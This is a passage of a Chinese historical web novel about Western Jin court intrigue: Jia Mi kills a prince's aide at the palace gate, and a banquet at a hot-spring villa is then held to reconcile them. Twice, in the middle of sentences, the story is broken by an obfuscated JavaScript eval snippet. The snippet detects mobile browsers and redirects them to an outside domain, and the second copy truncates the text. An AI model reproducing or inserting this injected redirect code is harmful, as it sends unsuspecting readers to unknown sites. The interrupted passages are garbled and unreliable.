一个诸侯,一个外戚,小校两头都不敢得罪。双方人马就这么僵持在宫门前。且他们不走,进出宫门的官员也走不了。 一时间,阊阖门内外聚集了不少官员及命妇女眷。这其中也包括刚从白马寺礼佛归来的河东公主一行人,裴妡作为公主伴读,自然也在其中。 贾谧见宫门口的人越聚越多,觉得自己的面子受到挑衅,不仅没与成都王和解,反而让车夫拔刀,威逼成都王的黄门让路。 成都王欲下车,却被身边的长史拦下,长史道:“主忧臣辱,主辱臣死。大王稍待,容臣与鲁国公理论。” 言罢,自己下车去拜会贾谧。 贾谧正烦着呢,他当然知道走自己前面的是成都王。如果是成都王亲自来好声好气地与他说情呢,他还能给几分面子。可是你派一个区区五品长史就想与他这个一品国公讲道理,看不起谁呢?二话不说,就让仆从把长史拽下去。 那长史也是个硬骨头,扒着车辕不撒手,高声道:“公乃椒房外侄,大王乃今上亲弟,岂有以内避外、以下克上之理?”意思是你就是一靠着皇后裙带上位的外戚,哪里能跟宗室诸王比! 这话戳了贾谧肺管子,区区一个无兵无权的郡王长史,也敢对他这个一品国公呲叨? 他顺手抄起脚边黄铜制成的汤婆子,兜头就朝长史砸了过去。 那汤婆子里满是滚烫的热水,暴击之下,那长史也不知是被砸死的还是被溅出的热水烫死的。总之,他的脸皮一瞬间变得红肿不堪,脑门上溅出的血糊了满脸,就听他惨叫一声倒地,浑身抽搐不止,竟一命呜呼了! 这一幕,恰巧被走近的河东公主,以及跟随公主而来的王清风和裴妡看到。 原来河东公主怕事情闹大,便下了马车,欲亲自来给两方劝和。毕竟,一个是自己的亲叔父,一个是自己的大表哥,她也不想两边撕破脸。 三个女郎皆养在深闺,何曾见过这么残暴的事,都骇怕得疲软于地。 王清风更是被贾谧这个新晋姐夫吓晕过去。 这事发生在阊阖门外。诸官员命妇云集,众目睽睽,贾谧想抵赖也无从推脱。 他倒也不怕事,假模假样地到成都王司马颖面前躬身请罪,一句“无心之失”就想遮掩过去。 成都王虽然才十三四岁,亦被眼前一幕吓着,但天潢贵胄傲气尚在,就听他冷笑一声:“鲁国公权过人主,威福无比。朝廷命官,说杀便杀,何须向小王请罪?” 言罢,不管车下的贾谧,亲自甩鞭驾车,守门的小校再不敢拦,任由他进宫向天子告状去了! 8. 第8章 这事就发生在阊阖宫门外,不过一个时辰,京洛各世家权贵该知道的全知道了。 琅琊王氏和河东裴氏也匆匆派人去宫里把自家女郎接回来安抚。 刚才裴该从二房出来,就是送裴妡回去的。 裴頠问清了裴妡事情的始末,又与两个儿子互通了消息,而后裴该急惶惶的去始平公主府安抚公主去了。 裴妍听了也骇怕不止,与床上的裴妡抱成一团。 贾谧是他们的表哥,长得俊,平日待女眷也温柔,见到姊妹们都是笑意盈盈甜言蜜语的,谁能想动起手来这么狠呢! 门外,郭夫人给二人送来安神汤,这汤裴妡在王夫人处就让喝过,如今裴妍也赶紧喝了。 俩姊妹在床上又互相安慰好一阵,这才囫囵睡了。 只是这一晚,注定不太平,无论是当事双方,还是各自背后的主子,有太多的人夜不能寐。 长乐宫椒房殿。 贾谧正捂着脸跪在贾后面前。他本是俊俏的白面公子,如今却半边脸高高肿起,显然打的人下手不轻。 他的旁边跪着哭哭啼啼的贾午。 上首坐着贾后和贾后的母亲郭槐,二人均脸色铁青。 贾谧犹自不服,捂着肿得老高的脸对皇后陈情:“儿虽不敏,却是皇后亲侄,那成都王不过是旁支庶亲,平日里儿敬他是长辈,处处避让,不想他竟作威作福起来。今日儿急着入宫禀事,这才抢先一步,他竟派长史羞辱儿,且那长史言辞咄咄,对娘娘多有不敬。儿替娘娘鸣不平,这才拿汤捂子砸了他。怎知此人这么不禁事,不过砸了一下子,就死了呢!” 贾后冷笑一声,乜他:“敢情你还是苦主?本宫得谢你鸣不平了!”又咬牙道:“当着文武百官的面动手杀人,杀的还是朝廷命官,你好大的威风!荣华(河东公主)被你吓的至今说不出话,天子扬言要把你发配凉州,你真当朝廷是我们贾家的?你是嫌这些年,诸王和我们闹的还不够?还是你觉得,天子痴顽就可以任你糊弄!” 这话就重了,一旁的贾午赶紧接口:“娘娘,阿谧是您瞧着长大的,平日虽顽劣,却一向有分寸。此次若不是那长史口出狂言,辱及娘娘,他何至于下此狠手……” “住嘴!”打断她的是她的母亲郭槐。 只见郭老夫人颤着手指着贾午的脑门,恨声道:“你这蠢货,阿谧就是被你教养坏了。我跟你说过多少次,要尊太子、敬宗室,你呢?都当耳旁风!” 老人家的鸠杖狠狠锤在她身旁的长绒蜀褥上:“成都王是谁?今上亲弟,太子叔父。你往日糊涂,把东宫得罪的死死的,如今连宗室也一并挑了,是想让娘娘自绝于天家么!贾家的权势不过在这京畿方寸,出了洛阳,那是宗室诸王的天下。你……糊涂!” 贾午抹了一把亲娘喷在脸上的口水,喃喃不敢吭声。 贾谧觑着面前痛心疾首的外祖母,和脸色铁青一言不发的皇后,知道自己这回事情闹大了。 但是他面上惶惶,心里却不怎么担心。他知道,就算是天塌下来,皇后也不会不管他的。毕竟他是贾家唯一的嗣子啊! 果然,沉默良久,就听贾后哑声道:“天子的脾气,来得快去的也快,倒是不惧。所忧者成都王,他年虽幼,却是今上亲弟,且素来与东宫交好,若不能妥善安抚,宗室必将侧目……” 郭槐点头:“这才是关窍。” 贾后一指贾谧,厉声道:“本宫不管你用什么法子,定要让成都王与你和解。若不然,你就去凉州,戴罪立功吧!” 雍凉一带如今正不太平,匈奴、氐、羌等诸胡蠢蠢欲动。何况,那里如今是赵王司马伦主政。赵王势大,又是司马家的老长辈,贾谧哪里敢去,一缩脖子,把要反驳的话吞进肚子里。 好吧,和解就和解,想他成都王不过是一个十三四岁的臭小子,还不好哄么! 同一时候,东宫。 “贾逆欺人太甚!” 太子司马遹愤愤地将铜爵委掷于地。嫣红的葡萄酒瞬间将蜀褥染上血色。 成都王司马颖坐在他的对面,低头看着酒杯,苦笑道:“皇兄仁义,假节钺于皇后,如今贾家权倾朝野,剑锋所指,满朝文武,谁敢拂逆?德高若汝南王尚且被她设计,何况吾等。” 太子自责道:“怪孤无能,不能为皇叔伸冤。” 成都王不紧不慢地上前勾起酒壶,给太子换上新的酒盏,斟满道:“太子此言差矣。所谓不鸣则已一鸣惊人,太子乃今上独子,肩负乾坤重任,如今不过明珠蒙尘,正当韬光养晦,避其锋芒,保全自身,以待来日。至于臣,不过忍一时之辱,不值一提。” 他提杯,对太子附耳:“臣惟愿早日伏拜太子光大之时!” 第二日,似乎大家约好了似的,半数朝臣请了病假,没去办公——开什么玩笑,外戚和宗室对上,万一被逼着站队怎么办?诸王与贾后,哪个是善茬? 裴頠自然也在病假之列。只是他却没能躲得过去。 这日早晌将将用完,门房突然来禀,道是鲁国公来访。 不请自来,不速之客! 裴頠本想借口染疾,推脱过去,不料门房又道;“贾夫人也来了,求见老夫人。” 裴頠扶额,贾午是阿母的亲侄女,自己的表姊。他可以拒绝贾谧,却拒绝不了贾午走亲戚啊。总不能全府从上到下都病了吧!他要是真敢这样,就是公然与贾家断亲了! 他叹口气,该来的躲不了!只得吩咐管家,令正门大开,洒扫门阶,喜迎“贵客”。 另一边,张茂腿伤好得差不多了,学堂离他的住处不远,他干脆每天在拾叔的搀扶下,去上半天经义课。引得裴葑对他很是赞许。 这天,裴憬裴妍并张茂课间小憩时,裴妡的贴身小婢,名唤红梅的,过来送消息说,鲁国公来府上了。裴妡自从昨日杀人事件后,一直没有回宫,就在府里将养着。 裴憬与裴妍都有些惴惴,以前他们挺喜欢贾谧这个表哥的,但自从听说他暴力杀人后,对他只想敬而远之。 张茂想的却是,贾谧恐怕是要河东裴氏做这个和事佬了。 可他觉得奇怪,贾谧为什么不找琅琊王氏做中人呢? 王衍是太子和贾谧的老丈人,成都王又是出了名的与太子交好。这个时候,王衍出面,不比裴頠更合适么? 他不知道的是,贾谧昨天连夜就求见过岳父王衍。然而王司徒那个滑不溜手的,早先一步躲出了门。打的还是三女王清风的名义,道是女儿吓丢了魂,高僧言需由家主作陪,去郊外龙潭寺礼佛静养,方能痊愈。 贾谧扑了个空,心内愤恨不止,天下间只闻女儿为父亲祈福礼佛的,哪有父亲陪女儿避居佛寺的?真是,连脸都不要了! 可眼见妻子王景风哭得梨花带雨,他又心软了,舍不得为难老岳父。行吧,岳父大人不管,那就,换个人好了。 这不就让裴頠赶上了?他既是贾谧表舅,又是太子老师,从妹还嫁了东海王,与贾家和宗室都沾亲带故,又是国子祭酒,士林之首,清贵无比。除了王衍,裴頠是最合适的中人之选。 外书房里,贾谧对裴頠行晚辈大礼。 裴頠岿然不动。 贾谧不得已,自袖囊中拿出一卷封诏,躬身呈与裴頠:“儿自知犯下大错,求阿舅念在儿初犯,帮儿转圜一二。儿并贾家,感铭五内。” 裴頠打开诏书,见是盖了大印的封诏,诏书中拜自己为右军将军,加侍中、光禄大夫、尚书左仆射,看字迹,当是皇后亲笔。 裴頠撸须不语,后三者只是加官,属虚荣,他本就是国子祭酒,清贵已极,倒无所谓这些虚职。但是右军将军掌宫门宿卫,与前、左、后军合成四军,各领营兵千人,可配护军府,却是实权。如今洛阳的兵权多落在贾家及其朋党手里,他们竟肯分出一杯羹来,实属难得。河东裴氏文官极盛,独缺武职。这个右将军,来的正是时候。 贾谧见裴頠动容,趁热打铁道:“儿与成都王并无直接利害,不过一时意气之争。儿愿向成都王负荆请罪,只求阿舅做个见证。” 裴頠沉吟片刻,阖上诏书放于案上,对贾谧道:“既是年轻人意气之争,我出面未免以势压人。始平公主郊外有一温泉别庄,如今冬梅正盛,就让你该弟做东,请诸君一叙吧!” 贾谧大喜,他知道,只要河东裴氏肯出手,这事太半成了! 不多久,裴妍就从裴妡那里知道了始平公主要办赏梅宴的事。 “所以,三哥终于肯让我们去公主府玩了?”裴妍开心道。 裴妡点头又摇头:“不是公主府,是公主嫂嫂在郊外的温泉别庄。”她愁容满面道:“不知道三哥怎么想的,还邀了贾表哥和成都王。” “啊!”裴妍捂嘴,谁不知道这两个人才结下梁子啊!这不是给公主添乱么! 待到温泉别庄时,裴妍才知道,不止是贾谧和成都王,年轻一辈里还要来不少人。 郎君里除裴家兄弟外,还有琅琊王司马睿、东海王世子司马毗还有琅琊王氏的麒麟子王导(赤龙)。 女眷里,除始平公主、裴家姊妹外,河东公主、王衍的四女儿王和风、贾午的女儿韩芷也会来。 这次小范围的赏梅宴是始平公主与裴该主办。这也是裴家小辈第一次独当一面,操办筵席,算是裴頠对小辈们的一次考验。 始平公主虽是贾后的女儿,但在性格上像今上多一些,仁义谦让,不似她母亲那么跋扈。因此,无论是妯娌崔氏,还是小姑子裴妍和裴妡,都很乐意给她打下手。 裴家的兄弟姊妹齐上阵,早几天就搬到别庄帮忙了。这里面自然也包括裴憬。张茂作为他的伴读清客,算是半个主家,加上他的腿伤已经痊愈,便也跟着住了过来。 宴客的名单一出,张茂心里就有数了。公主与驸马做东,来客半数外戚,半数宗室,却又都是年轻人的交际,既给足了成都王台阶,又全了贾谧赔罪的面子。 唉,张茂心想,不知钜鹿郡公收了贾家多大的好处,竟应下这份苦差来! 待到正日子那天,晌午刚过,裴该就与裴憬、裴崇及张茂等在别庄正门。始平公主并诸女眷等在二门。 很快,各路郎君、女眷陆续而来。平常清冷没人烟的温泉庄子霎时热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001202|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 最先到的自然是贾谧和他妹妹韩芷。 这次赏梅宴就是为贾谧而办。他倒也自觉,把妹妹托给始平公主后,以裴家表亲自居,也站到正门迎客的郎君里,张茂赶紧往旁边让了一格,贾谧见这个小清客很有眼头见识,满意地拍了拍他的肩,还趁着闲暇问他的底细。 一旁的裴该引荐道:“这是阿憬的伴读,散骑张常侍的二郎君茂郞。” 贾谧哪里记得散骑张常侍是哪位,他想着能把儿子送给傻子当伴读,门第大概没多高。不过如今他正有求于裴家,乐得卖裴家人面子,于是笑容可掬地对张茂拱手道:“原是张家郎君,久仰久仰。我说阿憬近日缘何进益不少,想是张郎君辅佐有功。” 裴憬听罢,真以为贾谧在夸他,一脸得意的将胸膛挺得直直的,引得张茂哭笑不得。 第二轮到的是琅琊王家的人——王导和王衍的四女儿王和风。王导论年龄和裴该一般大,但是他的辈分却很高,是裴崇和裴该的外公王戎的族弟,裴憬也要随弟弟们称呼他一声“外叔公”。 王和风的辈分就有点复杂了。若按二房王夫人那一支算,她是王夫人的族妹,裴家兄弟得叫她一声姨母。但是若按大房郭夫人那一支算,她母亲是郭夫人的堂姐,所以王和风又是他们的表妹,加上她年龄尚幼,不过七八岁光景,裴家兄弟便执平辈礼。 裴妡与王和风的阿姊王清风交好。这次王清风因避居龙潭寺养病没有来,照顾王和风的任务就落在了她的肩上。 她早早派了心腹丫鬟红梅等在门口,王和风一落脚就被丫鬟请进内室去了。 王导与裴家郎君也是表亲,反正内里没有其他男宾,他干脆也站到正门处做了迎宾的傧相。 张茂又很有眼头见识地往边上挪了一大格——与门口几位清矍俊逸的郎君相比,王导微微有些胖。 王导同样注意到了他。王家出了名的擅相人,王导自第一眼见到张茂起,便有惊为天人之感。 经裴家兄弟引荐,二人又是一番见礼。 与贾谧的虚情假意不同,王导似真知晓张轨威名,就听他问张茂:“令尊可是曾助扶风武王驱秃发平北地的征西军司张常侍?” 张茂诧异,没想到王导一介儒生,竟会知兵事。他拱手谦道:“只是追随武王与宣威将军之副罢了。” “武夫怀勇毅,勒马于中原。张常侍弃笔从戎,文武全才,常令导感佩。” 张茂没想到王导对父亲弃文从武的事都知道!又听王导问起张轨近况:“令尊可还在凉州?” 张茂眸光一暗:“家父去岁起,留京待诏至今。” 王导一扬广袖,袖手摇头,可惜道:“扶风武王早逝,马将军也廉颇老矣,雍凉无人继矣!” 张茂深以为然。 张茂的母亲是宣威将军马隆的从妹。她母亲在来信中提到,如今赵王把大好的雍、凉二州搅合的民怨沸腾,流民四起,直言“不日或有灾变。”赵王的宠臣孙秀还嫉贤妒能,如阿父这样战功赫赫的征西军司旧部,都遭到他的排挤,改任自己的亲信。如此作为,雍凉大乱是迟早的事。 一旁的贾谧也插嘴道:“可不是,那个赵王就是个太平王爷。让他吟风弄月在行,上阵打仗就是一癞蛤蟆!” 此言一出,王导和张茂都不敢接话了。 王导更是偷偷朝他翻了个白眼,大哥,你跟成都王的梁子还没过去呢,这就又编排起赵王了? 恰此时,琅琊王并东海王的车马也到了,诸人赶紧上前逢迎。 琅琊王司马睿与王导是金兰之交。看到王导早早到了,首先告罪道:“不意赤龙先到,山路难行,孤与阿毗还是迟了。” 一旁的东海王世子司马毗连忙解释:“这真怪不得我们。小王与阿叔一路都在快马加鞭,唯恐误了佳宴。” 琅琊王府与东海王府毗邻,皆在洛阳城东,而此次宴客在西郊,二王定是一早就上路了。他们这样告罪本没什么,无意间却把至今未到的成都王司马颖给凸显出来。 贾谧的脸色就有些不好看了。 明眼人都晓得,今天这场赏梅宴是他贾谧给成都王的赔罪宴,本来他就已经够憋屈了。成都王却姗姗来迟,太不给面子啦! 张茂看向琅琊王司马睿,他就是裴妍向挚师叔求问的那个人? 他暗中打量了他一番,此人年岁比自己略长,身量高挑,面白形瘦,虽是诸侯,却与王导似的,白衣直裾,褒衣博带,头戴笼纱冠,谈笑间便面当风,颇有儒生风范。 一旁的东海王世子也常听裴妍提起,只见他与自己年龄相仿,一身暗玉紫劲装,头笼赤金小冠,马靴上隐有泥斑,显然在中途并未坐马车,而是打马而行。 东海王世子与琅琊王名为叔侄,相差不过几岁。但二人给人的风度却是一个文雅雍容,一个利落大气。 那王世子似乎察觉到张茂的眼神,也朝他看了过来来,清冷的眸子意味不明地打量了他一番。 张茂愣了愣,低头朝世子作揖为礼。 这时,远处金铎叮咚,今天的另一正主,成都王司马颖终于现身了! 9. 第9章 与成都王一起来的,还有贾后亲女、始平公主亲妹——河东公主。 原来成都王是进宫城接了公主才来,这才迟了。只是不知这是他自己的意思呢,还是天子和贾后的意思? 不管怎么说,成都王愿意与贾后的女儿同行,都是好的开局。 贾谧的脸色立时好看很多。 裴该不顾自己驸马都尉的尊荣,赶紧上前,亲自将成都王一行引往正门。 贾谧脸上挂着讪笑,亦紧跟上前,对着比他还小几岁的成都王躬身执晚辈礼。 群贤集聚,再有脾气的人,明面上也只好收敛起来。 成都王很有风度的对他二人微微颔首,看不出喜怒,在众人的簇拥中,往布置一新的花厅走去。 此次宴会名为赏梅,花厅就设在百顷梅林之外。宴客时,正厅槅门大开,梅香自外溢入厅内,席上佐以梅花酿、梅花糕,花厅侧室有伶人奏乐,琴音袅袅,花香不绝,很是风雅。 为防严寒,门厅四边各置一硕大的亭燎,厅外红梅灼灼,厅内热气熏熏,诸郎君步入席上,解衣就座。 成都王与琅琊王是平辈诸侯,自是南向上首,驸马兼东道主裴该和东海王世子司马毗次之。裴憬、裴崇还有王导分坐两侧。贾谧此次却甘陪末座,只比侍于裴憬副席的张茂好上一点,姿态放得不可谓不低。 赏梅行酒是雅事,在座诸郎君,大多是年轻一辈里的翘楚,又没有长辈约束,一时间,飞花接令,射覆猜谜,投壶助兴,好不快活。就连裴憬,因事先被要求背过几首咏梅诗应急,后边又有张茂捉刀,居然也跟着众人玩了几轮,令他激动不已。 如此推杯换盏,酒过三巡,诸郎君都有些熏熏然。 成都王肉眼可见的心情大好,与左右相谈甚欢。 贾谧见时机已到,亲自执壶,为上首的成都王满酒祝寿。 一时间诸人都有些屏气凝神,裴家兄弟更是密切关注上首,随时准备敲边鼓。 成都王却好似不觉,只见他云淡风轻地接过贾谧献上的卮酒,一饮而尽道:“役其德而成令誉,省己身而恭王事,国公宜自勉。” 这是提醒贾谧要修身养性,忠于天家。 贾谧内心不服得很,一个乳臭未干的臭小子,居然敢装模作样的教训他! 然而形势比人强,天子与贾后的圣旨言犹在耳,只得咽下满腹愤懑,恭敬道:“大王所言极是,谧谨记。” 裴该适时鼓掌道:“成都王才情雅量,吾辈楷模,诸君当为大王寿。” 大家立刻很给面子的敬成都王,把这位十四岁的小诸侯哄得眉开眼笑。 贾谧长长舒了一口气,看着喝酒喝得东倒西歪的成都王司马颖,心想自己这一关,该是过了吧? 与郎君席上的暗潮汹涌不同,二楼的女眷要和谐的多。 来的都是沾亲带故的堂表姊妹,自幼熟识,今日还没有长辈在侧,诸女郎一边赏梅一边八卦,好不开心。 主座自是二位公主,其下左右依次是裴崇的妻子崔氏,韩芷,王和风,裴妍和裴妡陪侍末座。 诸女郎听得楼下突然响起一阵哄闹,都奇怪郎君们在干嘛。 始平公主亦忧心郎君席上的状况。她是知道裴该今天的任务的,于是特地派心腹女官下楼探查局势。 不一会,就有宫人前来回禀,道:“张郞君正为诸郎君舞剑。” 韩芷是诸女中最活泼的。或许与贾家和韩家的家教有关,韩芷大胆得很。 二楼的槅门外是可供观赏小坐用的栏杆。她跑到栏杆处,把头伸出老远,勾着脖子看下面,却只闻鼓乐铿锵,什么也看不到。一时间心痒难耐,回头怂恿诸女郎道:“听说那位张郎君貌比潘安,他舞剑,阿妹们可要与我一起去看看?” 裴妍惊诧地捂嘴:“貌比潘安?”阿茂哥何时这么出名了? 河东公主扬眉,一指裴妡,道:“阿妡说,她听你说的。” 裴妍看向裴妡,她怎么不记得了。 裴妡吐舌道:“阿姊忘了?那天你自己说的,‘那个整日里只知涂脂抹粉跟在贾表哥身后的潘岳怎么能跟张郎君比’?” 哦,还真是她说出去的! 在座的女郎都是天之娇女,名门闺秀,平时有长辈盯着,言谈拘谨得很,能像今天这样没长辈看着的日子不多。被韩芷这么一撩拨,一时间,除了已经嫁为人妇的始平公主与崔氏,其余女郎都有些蠢蠢欲动。就连裴妍和裴妡也想下楼去凑热闹,看看张茂舞剑是怎样的。 河东公主率先起身道:“对,我们在这干坐着有什么意思?也下楼看看郎君玩得什么。” 始平公主嗤她:“你啊,看其他郎君是假,看赤龙才是真吧!” 贾后一直想让河东公主与王导议亲。只是琅琊王氏已经分别与太子和贾家联姻,实在没必要再推出王导这个麒麟子,因此一直找借口敷衍着。 河东公主脸上泛红,嘴上却硬气:“赤龙有什么好看的,王郎体胖,我要看的是貌比潘安的张郎君!” 这帮未婚的女郎们年岁都不大,最小的王和风才八岁,最大的韩芷也不过十三,都没有到及笄的年纪,虽说个个打扮得钗鬟云鬓,但从年龄上讲仍属垂髫女童。 始平公主和崔氏对视一眼,都没有反对。 因此,当郎君们散着外袍,和着鼓乐,敲着酒爵,津津有味地欣赏张茂舞剑时,门口槅门外,却突然冒出四个簪花女童来! 张茂是习武之人,耳聪目明,早早就看到了这四个小女郎鬼鬼祟祟地趴在门边偷窥自己。 他眉心微簇,剑花一收,停在了中央。 诸女郎都有些失望。 尤其韩芷,眼放春光,直勾勾瞅着张茂不放,心里痒痒的,眼前这张小郎玉树临风,辉光耀目,若朗月繁星,果然貌比潘安。不!潘安这小白脸病恹恹的,可没他来得俊!在座的郎君除了他外,皆是王孙贵胄,有三个还是司马家的诸侯,可是竟无一人之气度能超过这个小清客的!真是怪耶!唉?这人怎么不接着舞了呢! 诸郎君也大吃一惊,没想到会在这里见到小女郎们,吓得他们纷纷抬袖整理仪容。 因着赴宴的郎君年岁不大,且都带着自家女眷,因此,这次赏梅宴除了奏乐的伶人,并未安排歌舞伎助兴。 可是儿郎们刚才饮了不少酒,一个个酒憨耳热,贾谧刚刚还差人去寻寒食散,这仪容上,就有些衣冠不整了。 韩芷却不顾他哥贾谧尴尬地眼神,大方地行到张茂面前,对他行拱手礼,赞道:“郎君的剑法犹如骇浪惊涛,小女佩服。” 张茂内里骇然,面上却八风不动,淡然回礼:“女郎谬赞。” 裴妍也上前夸他:“阿茂哥,原来你的剑法这么好!” 裴妍夸得直白。张茂的脸上终于露出些许红晕,道:“元娘亦谬赞。” 王导却哈哈大笑起来,鼓掌道:“醉意横发斩巨鲸,骇浪惊涛笑凌云。茂郞一人的剑术,可当百万师,实不必自谦!” 王导的话既肯定了张茂的剑术,又缓解了女郎突然现身的尴尬,一时间,场面重又活络起来。 来的四个小女郎,除了韩芷年岁略大些,余者都是稚龄女童,又都是席上诸郎君的姊妹(侄女),彼此间都是姻亲,郎君们也没有多忌讳。 裴该干脆命从人在成都王、王导、贾谧还有自己之后设副席,中间连草席都没有挂。 于是裴妍和裴妡心满意足地坐到了裴家兄弟身后。 裴妍旁边就是同样坐在副席的张茂。 许是刚舞完剑的缘故,张茂头上出了些微薄汗,裴妍坐定的时候,他正拿巾帕拭汗。 裴妍有些担忧,他记得顾郎中给张茂正骨时,张茂也是这样一头的汗。 她小声问他:“阿茂哥,你的腿伤还好吧?三哥真是,怎么还安排你上场呢!” 张茂愣了下,见裴妍担忧地盯着自己曾经受伤的腿看,心里一暖,露出一抹浅笑来,安慰她道:“早没大碍了,舞剑正好可以活动筋骨。” 何况,今天的宴席,在座皆是王公贵胄,裴三郎请他舞剑助兴,实则是给他扬名的机会!不出三日,王导夸他剑术的那句:“醉意横发斩巨鲸,骇浪惊涛笑凌云。”以及“一人可当百万师”的批语,必会随这群赴宴的郎君和女郎,传遍整个京洛!裴三郎是在给他养望啊! 这些,裴妍是不会懂的,她只是单纯地心疼张茂的腿伤而已。 这一厢,他们低头交流。那一厢,密切关注张茂的韩芷却急死了。 韩芷是贾谧的妹妹,自然坐在贾谧身后。贾谧和裴憬都在末席上,中间隔着宽敞的花厅。 韩芷但见张茂时而对着裴妍微笑,时而与她低语,关系亲近得很,自己却只能遥遥相望。她暗送那么多秋波,张茂却一眼都没有看自己,甚至可能他连自己是谁都不知道。韩芷的气性便上来了。她有些愤愤地瞥了对面的裴妍一眼。自从王衍给裴家姊妹“如珠似玉”的批语传出后,京里对这对稚龄女童的盛赞就没有停过。对此,韩芷很不服气。八九岁的小屁孩,哪里看得出贤愚美丑?那王家阿翁闭着眼睛说瞎话,不怕闪了舌头! 她恨恨地拽过自己的一缕青丝绕着指头,暗自琢磨,论长相,裴妍还没有长开,自己却已过了簪钗之龄,光这容貌气度,也当是自己更胜一筹。定是方才张茂一直低着头与自己说话,没能好好看自己的缘故! 可是,那么多儿郎女眷,怎么才能让茂郞看到自己呢? 韩芷眼珠一转,这次宴会不是他哥给成都王赔罪来着,那她身为妹妹,是不是也要做点什么向成都王示好?她与她母亲一样,是一个大胆又自我的女子,想到什么就去做了。 于是就见韩芷袅袅婷婷起身上前,在诸人惊疑的目光中,对着上首成都王福礼:“小女闻大王精通舞乐,特备《明君舞》,请大王品评。” 贾谧脸色煞白,歌舞奉乐乃艺伎所为。她这个妹妹,平日里轻浮浪荡也就罢了,自有母亲和皇后罩着她。 可今天外男俱在,尤其成都王与自己还有过节,她公然为成都王献舞,不知道的还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩芷敢当众跳这个,必有其过人之处。不长的明君五弄,被她以歌舞的形式,将王昭君出塞的凄凉、惶惑、忍辱、思乡到最后的绝望,淋漓尽致地表现出来。 待她一曲舞毕,诗歌造诣颇高的河东公主、裴妡还有王和风已经泪流满面。 裴妍学问不好,里面的歌词她听得云里雾里,但不妨碍她被韩芷和胡笳所营造的凄美氛围所感染,眼眶不由得也湿润起来。 “善!”王导率先鼓掌。 他起头后,诸人才回过神来,纷纷附和。 成都王本是抱着戏谑的态度,玩笑着观舞,然而不知何时起,他也被韩芷凄凉的歌声、柔美的舞姿所吸引,击盘的玉箸“叮当”落地而不自知。 曾鄙夷韩芷的琅琊王此时亦忍不住叹息王昭君的命运:“贤哉明君,哀哉女子!” 其他郎君亦是如此。就连冷然旁观的张茂,也不得不承认,韩芷的这曲《明君舞》,大善! 唔,他放下手中酒盏,从善如流地跟着诸人鼓掌,眼神却瞥向末座的贾谧,心下感叹,有这么个妹妹,不知是福是祸啊! 贾谧本怨妹妹轻浮不自持,待看到诸郎君被韩芷的歌舞所震慑,一下子又开心起来。他的目光悄悄自裴家姊妹俏丽的小脸上转过,哼,什么裴氏双姝,如珠似玉,都比不上她妹妹,一舞震京洛,哈哈! 他清清嗓子,假作谦逊地对成都王道:“阿妹技拙,有辱大王视听!” 成都王尽管心里不爽,但有诸郎君见证,佳人佳作,容不得他诋毁,只得中肯地品评道:“韩女郎舞技超群,颖平生罕见,当为京洛第一!” 连小王的自称都省了,这番态度,是真的拜服。 贾谧见好就收,哈哈一笑道:“大王谬赞!” 其余诸郎君亦纷纷逢迎抬轿,夸得贾谧和落座的韩芷喜笑颜开。 贾谧心里别提多得意了,今日之后,他妹妹第一佳人的美名定传遍京畿! 韩芷偷偷看向对坐的张茂,却见张茂依然未看自己一眼——他正坐在裴憬身后,向他解析刚才曲中诗句的奥义…… 韩芷只觉一腔柔情错付,芳心零落成泥。 她自小身世好、长得美,父母兄弟皆宠着她。贾家清客很多,年轻俊俏的更是不少,男女大防却不严,但凡她看中的郎君没有不为她折腰的。就连与他家有仇的成都王,方才不也拜服在她的石榴裙下,对她大加赞赏了吗?像张茂这样不为所动的,还真是独一份! 失望不甘、难以置信,交织而起,韩芷银牙暗咬,发狠定要拿下张茂!她不信区区一个裴府清客,难道比成都王还眼光高绝不成! 韩芷彼时正站在司马毗跟前,她看向张茂时那哀怨执着的小眼神,被自斟自饮地司马毗看了个正着。 他有些同情地瞥向张茂,看来这个少年清客在无意间惹了不该惹的人,哎,他不禁摇头,好自为之吧! 10. 第十章 冬日昼短夜长,晚晌不久,天色就暗了下来。 今次小宴,既然定在温泉别庄,自然不可能只为赏梅。 晚晌过后,裴家兄弟就引领着郎君们前往安置的院落休息。 女眷则由始平公主带着,去往另一处院落。 始平公主的温泉别庄几乎把西郊的温泉泉眼都围在内,这还只是贾后给女儿的嫁妆之一。 郎君所在的院落名为“信芳”,在温泉别庄东侧,占地颇广,足有数十顷。院子里假山流水,亭台轩榭,被分隔出大大小小十余处厢房,每间厢房里都有一处澡池,其间有开关,可引室外温泉入内,足不出户,就能泡上热气腾腾的温汤。 女郎们的院落名为“灼华”,比郎君们的规制略小一些,在别庄西侧,亦是温泉入户。 冬夜清寒,能在房中泡上一汪热汤,别提有多惬意了。 诸郎君及女眷回到自己的厢房后,大多迫不及待地洗沐泡汤,好洗去一身寒霜。 裴妍也是如此。她一跨境房门,就闻到一阵草药清香。这香味,她在姑姑东海王妃裴氏的院子里经常闻到。 婢女风荷道:“方才东海王世子派人给女郎捎来一箱祛湿驱寒用的药包。” 裴妍一到冬日就手脚冰凉,裴妃对药理颇有研究,每到冬天都会给相熟的亲友分送些手调的药包,她和阿母也在其列。 这次正好世子司马毗来赴宴,裴妃便让儿子给她捎带些来。 药香清正,暖气氤氲,裴妍迫不及待地想解衣入汤。 这时,门外小婢又来通禀,道是琅琊王也遣人送东西来。 裴妍解衣的手一顿,她这次请挚神仙帮琅琊王算命,想是人家还人情来了。 司马睿原先没指望裴妍能求见到神算挚虞,更没想到她能顺利地从挚虞那里讨来谶语。 他只是在司马毗面前提了一嘴,没想到司马毗居然央着这孩子把事做成了! 